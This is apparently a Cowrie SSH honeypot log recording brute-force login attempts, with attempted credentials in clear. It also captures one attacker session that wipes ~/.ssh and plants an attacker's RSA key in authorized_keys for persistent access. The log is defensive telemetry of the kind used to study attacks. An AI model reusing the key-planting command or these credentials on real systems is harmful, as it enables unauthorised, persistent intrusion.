{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:19.787980Z","src_ip":"103.161.170.12","session":"df36202fc410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:20.037846Z","src_ip":"103.161.170.12","session":"df36202fc410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dd","password":"ddpass","message":"login attempt [dd/ddpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:21.073229Z","src_ip":"103.161.170.12","session":"df36202fc410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:22.326448Z","src_ip":"103.161.170.12","session":"df36202fc410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":60160,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c917880feaf","protocol":"ssh","message":"New connection: 85.121.120.129:60160 (10.17.0.5:22) [session: 5c917880feaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:44.359874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:44.364643Z","src_ip":"85.121.120.129","session":"5c917880feaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:44.442327Z","src_ip":"85.121.120.129","session":"5c917880feaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"123456","message":"login attempt [gary/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:44.785684Z","src_ip":"85.121.120.129","session":"5c917880feaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:45.866064Z","src_ip":"85.121.120.129","session":"5c917880feaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"71.6","message":"Connection lost after 71.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:11.191000Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":64255,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc2e23833c0","protocol":"ssh","message":"New connection: 103.161.170.12:64255 (10.17.0.5:22) [session: 3bc2e23833c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:24.677645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:24.682282Z","src_ip":"103.161.170.12","session":"3bc2e23833c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:24.929503Z","src_ip":"103.161.170.12","session":"3bc2e23833c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dd","password":"123","message":"login attempt [dd/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:25.951417Z","src_ip":"103.161.170.12","session":"3bc2e23833c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:27.201278Z","src_ip":"103.161.170.12","session":"3bc2e23833c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":55634,"dst_ip":"10.17.0.5","dst_port":22,"session":"af397fc18faf","protocol":"ssh","message":"New connection: 160.22.123.78:55634 (10.17.0.5:22) [session: af397fc18faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:45.401759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:45.405610Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:45.658644Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"docker","message":"login attempt [root/docker] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:46.686944Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:47.209511Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:47.212117Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:47.214797Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:47.466033Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.042732Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.045981Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.299530Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.303295Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":56676,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d1446490e18","protocol":"ssh","message":"New connection: 160.22.123.78:56676 (10.17.0.5:22) [session: 8d1446490e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.538517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.543485Z","src_ip":"160.22.123.78","session":"8d1446490e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:48.789266Z","src_ip":"160.22.123.78","session":"8d1446490e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:49.806134Z","src_ip":"160.22.123.78","session":"8d1446490e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:51.055372Z","src_ip":"160.22.123.78","session":"8d1446490e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":57308,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ad1500b0420","protocol":"ssh","message":"New connection: 160.22.123.78:57308 (10.17.0.5:22) [session: 1ad1500b0420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:51.295432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:51.299880Z","src_ip":"160.22.123.78","session":"1ad1500b0420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:51.545154Z","src_ip":"160.22.123.78","session":"1ad1500b0420","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:52.559217Z","src_ip":"160.22.123.78","session":"1ad1500b0420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:52.807545Z","src_ip":"160.22.123.78","session":"1ad1500b0420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:52.812211Z","src_ip":"160.22.123.78","session":"af397fc18faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33804,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e5ea9f6a7d1","protocol":"ssh","message":"New connection: 195.178.110.218:33804 (159.203.135.109:22) [session: 2e5ea9f6a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:57.346009Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:21:57.427598Z","src_ip":"195.178.110.218","session":"2e5ea9f6a7d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":58554,"dst_ip":"10.17.0.5","dst_port":22,"session":"d958d8ddbba8","protocol":"ssh","message":"New connection: 85.121.120.129:58554 (10.17.0.5:22) [session: d958d8ddbba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:24.886353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:24.890631Z","src_ip":"85.121.120.129","session":"d958d8ddbba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:24.969913Z","src_ip":"85.121.120.129","session":"d958d8ddbba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kernel","password":"Kernel123","message":"login attempt [kernel/Kernel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:25.322960Z","src_ip":"85.121.120.129","session":"d958d8ddbba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:26.404696Z","src_ip":"85.121.120.129","session":"d958d8ddbba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":65464,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc0fb3a819f","protocol":"ssh","message":"New connection: 103.161.170.12:65464 (10.17.0.5:22) [session: ddc0fb3a819f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:27.833903Z"}
